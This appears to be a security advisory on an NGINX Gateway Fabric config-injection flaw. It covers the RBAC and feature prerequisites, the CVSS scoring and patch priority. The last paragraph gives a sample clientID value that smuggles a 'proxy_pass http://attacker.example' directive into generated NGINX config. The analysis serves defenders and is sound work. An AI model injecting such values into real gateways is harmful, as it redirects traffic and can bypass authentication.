NGINX Gateway Fabric CVE-2026-66362

Exploitation requires two concrete prerequisites: (1) the attacker must hold a valid Kubernetes credential with RBAC permission to create or update Authentication Filter CRD objects or Kubernetes Secrets referenced by them in the target namespace - this is not a default permission for standard user roles; and (2) NGINX Gateway Fabric must be deployed with NGINX Plus as the data plane and the Authentication Filter feature must be configured (i.e., Authentication Filter CRDs must be in use). Without write access to these specific resource types, the injection vector does not exist. Exploitation is limited to the control plane; data-plane traffic is not directly injectable. There is no unauthenticated or anonymous exposure path. The limiting factors - required RBAC write permission and the Authentication Filter feature being enabled - substantially narrow the realistic vulnerable population relative to the raw CVSS score.

The CVSS 8.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) reflects that exploitation is network-reachable via the Kubernetes API server and requires only low-privilege access - specifically, RBAC permission to create or modify Authentication Filter resources or Secrets in the relevant namespace. In practice, such permissions are not granted to arbitrary users; most hardened clusters restrict CRD and Secret write access to dedicated service accounts or platform engineers, which materially raises the real-world bar compared to what the raw CVSS score implies. EPSS data is not available in the provided intelligence, and the CVE is not in CISA KEV, meaning no confirmed in-the-wild exploitation is known. No public POC has been identified. Even a mid-sized municipal IT team in radom running a Kubernetes-based API gateway on NGINX Gateway Fabric should treat this as a priority patch given the high C:H/I:H potential - injected config directives could redirect traffic, disable authentication, or expose backend secrets - but organizations with tightly scoped RBAC face substantially lower actual exposure than the CVSS score alone suggests. The S:U (no scope change) rating is consistent with the vendor's statement that this is a control-plane-only issue, limiting blast radius to the NGINX configuration itself rather than adjacent workloads.

An attacker who holds a Kubernetes service-account token with namespace-scoped update permission on Authentication Filter resources crafts a clientID value such as legitimate-client"; proxy_pass http://attacker.example;

to inject an additional NGINX directive. When the NGINX Gateway Fabric control plane reconciles the resource, the configuration generator writes this unsanitized value into the NGINX Plus configuration and triggers a reload, causing NGINX to serve with the injected directive active. No public POC exists at time of analysis, but the injection technique is straightforward for anyone familiar with NGINX configuration syntax.